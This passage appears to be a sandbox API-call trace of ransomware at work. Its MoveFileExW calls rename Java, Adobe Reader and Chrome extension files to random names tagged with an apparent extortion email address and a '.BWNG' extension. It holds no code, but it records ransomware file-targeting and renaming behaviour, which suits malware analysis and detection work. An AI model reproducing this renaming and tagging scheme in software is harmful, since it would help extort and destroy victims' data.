lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25804664420) returned 1 [0116.095] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\[billwong73@yahoo.com].JvkvoEiP-6CJR8GvZ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\[billwong73@yahoo.com].jvkvoeip-6cjr8gvz.bwng"), dwFlags=0x1) returned 1 [0116.331] GetTickCount () returned 0x1164b63 [0116.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25828296826) returned 1 [0116.331] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\Center" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\north_dakota\\center"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\[billwong73@yahoo.com].sMPKcTRo-daywEIu3.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\north_dakota\\[billwong73@yahoo.com].smpkctro-dayweiu3.bwng"), dwFlags=0x1) returned 1 [0116.333] GetTickCount () returned 0x1164b63 [0116.333] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25828513577) returned 1 [0116.333] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Puerto_Rico" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\puerto_rico"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].wgK3MLT2-yp2RzhOW.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].wgk3mlt2-yp2rzhow.bwng"), dwFlags=0x1) returned 1 [0116.334] GetTickCount () returned 0x1164b63 [0116.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25828662040) returned 1 [0116.335] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santo_Domingo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\santo_domingo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].7Dd0Jot9-jCRu4RFR.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].7dd0jot9-jcru4rfr.bwng"), dwFlags=0x1) returned 1 [0116.336] GetTickCount () returned 0x1164b63 [0116.336] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25828810128) returned 1 [0116.336] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Tegucigalpa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\tegucigalpa"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].ji5MZ0fq-DvQ5EpmM.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].ji5mz0fq-dvq5epmm.bwng"), dwFlags=0x1) returned 1 [0116.337] GetTickCount () returned 0x1164b63 [0116.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25828941169) returned 1 [0116.337] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].h6YKpC6e-tMTTmo2I.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].h6ykpc6e-tmttmo2i.bwng"), dwFlags=0x1) returned 1 [0116.338] GetTickCount () returned 0x1164b63 [0116.338] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25829063849) returned 1 [0116.339] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Yellowknife" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\yellowknife"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].Sfub28zs-FfaT2dVk.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].sfub28zs-ffat2dvk.bwng"), dwFlags=0x1) returned 1 [0116.340] GetTickCount () returned 0x1164b63 [0116.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25829208104) returned 1 [0116.340] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Vostok" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\vostok"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\[billwong73@yahoo.com].6Kphy34q-Bbk4f2Cv.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\[billwong73@yahoo.com].6kphy34q-bbk4f2cv.bwng"), dwFlags=0x1) returned 1 [0116.341] GetTickCount () returned 0x1164b63 [0116.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25829335248) returned 1 [0116.341] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\[billwong73@yahoo.com].eWycS5Yo-xsPDM1up.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\[billwong73@yahoo.com].ewycs5yo-xspdm1up.bwng"), dwFlags=0x1) returned 1 [0116.343] GetTickCount () returned 0x1164b63 [0116.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25829489913) returned 1 [0116.343] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\[billwong73@yahoo.com].8TyF4PUN-UED0rQ2Y.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\[billwong73@yahoo.com].8tyf4pun-ued0rq2y.bwng"), dwFlags=0x1) returned 1 [0116.344] GetTickCount () returned 0x1164b63 [0116.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25829663113) returned 1 [0116.345] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\[billwong73@yahoo.com].2xLA6zGk-vOTC3Mh7.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\[billwong73@yahoo.com].2xla6zgk-votc3mh7.bwng"), dwFlags=0x1) returned 1 [0116.347] GetTickCount () returned 0x1164b72 [0116.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25829908562) returned 1 [0116.347] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\[billwong73@yahoo.com].2RECz90r-mVAJXLii.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\[billwong73@yahoo.com].2recz90r-mvajxlii.bwng"), dwFlags=0x1) returned 1 [0116.348] GetTickCount () returned 0x1164b72 [0116.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25830063687) returned 1 [0116.349] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\[billwong73@yahoo.com].SNsmbaFU-0GtOk7A1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\[billwong73@yahoo.com].snsmbafu-0gtok7a1.bwng"), dwFlags=0x1) returned 1 [0116.350] GetTickCount () returned 0x1164b72 [0116.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25830208762) returned 1 [0116.350] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\[billwong73@yahoo.com].ZFGUeJXR-xndQWo6e.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\[billwong73@yahoo.com].zfguejxr-xndqwo6e.bwng"), dwFlags=0x1) returned 1 [0116.351] GetTickCount () returned 0x1164b72 [0116.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25830357109) returned 1 [0116.352] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\[billwong73@yahoo.com].3GtmMtCb-uPGsuAl8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\[billwong73@yahoo.com].3gtmmtcb-upgsual8.bwng"), dwFlags=0x1) returned 1 [0116.353] GetTickCount () returned 0x1164b72 [0116.353] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25830505293) returned 1 [0116.353] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\[billwong73@yahoo.com].SiC08FjI-8k2ks9sg.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\[billwong73@yahoo.com].sic08fji-8k2ks9sg.bwng"), dwFlags=0x1) returned 1 [0116.354] GetTickCount () returned 0x1164b72 [0116.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25830638064) returned 1 [0116.354] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\[billwong73@yahoo.com].pGzhwtyr-tsBm75fg.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\[billwong73@yahoo.com].pgzhwtyr-tsbm75fg.bwng"), dwFlags=0x1) returned 1 [0116.356] GetTickCount () returned 0x1164b72 [0116.356] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25830779572) returned 1 [0116.356] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\[billwong73@yahoo.com].hdDAzpPN-3KAEu8Mk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\[billwong73@yahoo.com].hddazppn-3kaeu8mk.bwng"), dwFlags=0x1) returned 1 [0116.357] GetTickCount () returned 0x1164b72 [0116.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25830937229) returned 1 [0116.357] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Baku" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\baku"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].Hcfry7FB-cY9XV9Q1.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].hcfry7fb-cy9xv9q1.bwng"), dwFlags=0x1) returned 1 [0116.358] GetTickCount () returned 0x1164b72 [0116.358] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25831069877) returned 1 [0116.359] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dili" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\dili"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].xcZ8CbkY-unGFrIKF.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].xcz8cbky-ungfrikf.bwng"), dwFlags=0x1) returned 1 [0116.360] GetTickCount () returned 0x1164b72 [0116.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25831235648) returned 1 [0116.360] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jakarta" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\jakarta"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].ibwNJ0YX-Btp5PV2p.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].ibwnj0yx-btp5pv2p.bwng"), dwFlags=0x1) returned 1 [0116.361] GetTickCount () returned 0x1164b82 [0116.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25831360594) returned 1 [0116.362] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Krasnoyarsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\krasnoyarsk"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].EsAtENsB-HjoanMNT.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].esatensb-hjoanmnt.bwng"), dwFlags=0x1) returned 1 [0116.518] GetTickCount () returned 0x1164c1e [0116.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25847059734) returned 1 [0116.519] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\tzmappings" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\tzmappings"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].9LEgBD9t-K8K97juR.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].9legbd9t-k8k97jur.bwng"), dwFlags=0x1) returned 1 [0116.520] GetTickCount () returned 0x1164c1e [0116.520] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25847255186) returned 1 [0116.521] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Blantyre" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\blantyre"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].1Ew0oW9F-awmzKNIm.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].1ew0ow9f-awmzknim.bwng"), dwFlags=0x1) returned 1 [0116.522] GetTickCount () returned 0x1164c1e [0116.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25847394442) returned 1 [0116.522] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Novokuznetsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\novokuznetsk"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].OiynbZOx-0tGBLzA8.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].oiynbzox-0tgblza8.bwng"), dwFlags=0x1) returned 1 [0116.523] GetTickCount () returned 0x1164c1e [0116.523] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25847556732) returned 1 [0116.524] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Douala" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\douala"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].ksgKJAW8-5NR785p2.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].ksgkjaw8-5nr785p2.bwng"), dwFlags=0x1) returned 1 [0116.525] GetTickCount () returned 0x1164c1e [0116.525] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25847689401) returned 1 [0116.525] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\servertool.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\servertool.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].MxXpoLkD-mRvqAhjv.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].mxxpolkd-mrvqahjv.bwng"), dwFlags=0x1) returned 1 [0116.526] GetTickCount () returned 0x1164c1e [0116.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25847822763) returned 1 [0116.526] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\riyadh"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].a4sasCGI-7C5Cki9k.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].a4sascgi-7c5cki9k.bwng"), dwFlags=0x1) returned 1 [0116.527] GetTickCount () returned 0x1164c1e [0116.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25847951469) returned 1 [0116.527] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vienna" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\vienna"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].BW3Z6B3s-seMssgfe.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].bw3z6b3s-semssgfe.bwng"), dwFlags=0x1) returned 1 [0116.529] GetTickCount () returned 0x1164c1e [0116.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25848097288) returned 1 [0116.529] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].eFtIwvxO-RZBTJR1K.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].eftiwvxo-rzbtjr1k.bwng"), dwFlags=0x1) returned 1 [0116.530] GetTickCount () returned 0x1164c1e [0116.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25848238420) returned 1 [0116.530] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kinshasa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\kinshasa"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].sfXEAXEf-h60IKeWV.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].sfxeaxef-h60ikewv.bwng"), dwFlags=0x1) returned 1 [0116.532] GetTickCount () returned 0x1164c1e [0116.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25848392626) returned 1 [0116.532] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mbabane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\mbabane"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].9NTJPnYW-2TCfJTHM.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].9ntjpnyw-2tcfjthm.bwng"), dwFlags=0x1) returned 1 [0116.534] GetTickCount () returned 0x1164c2d [0116.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25848617734) returned 1 [0116.534] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tripoli" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\tripoli"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].1cNG2Dsj-EEq7NiFy.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].1cng2dsj-eeq7nify.bwng"), dwFlags=0x1) returned 1 [0116.892] GetTickCount () returned 0x1164d94 [0116.892] QueryPerformanceCounter (in: 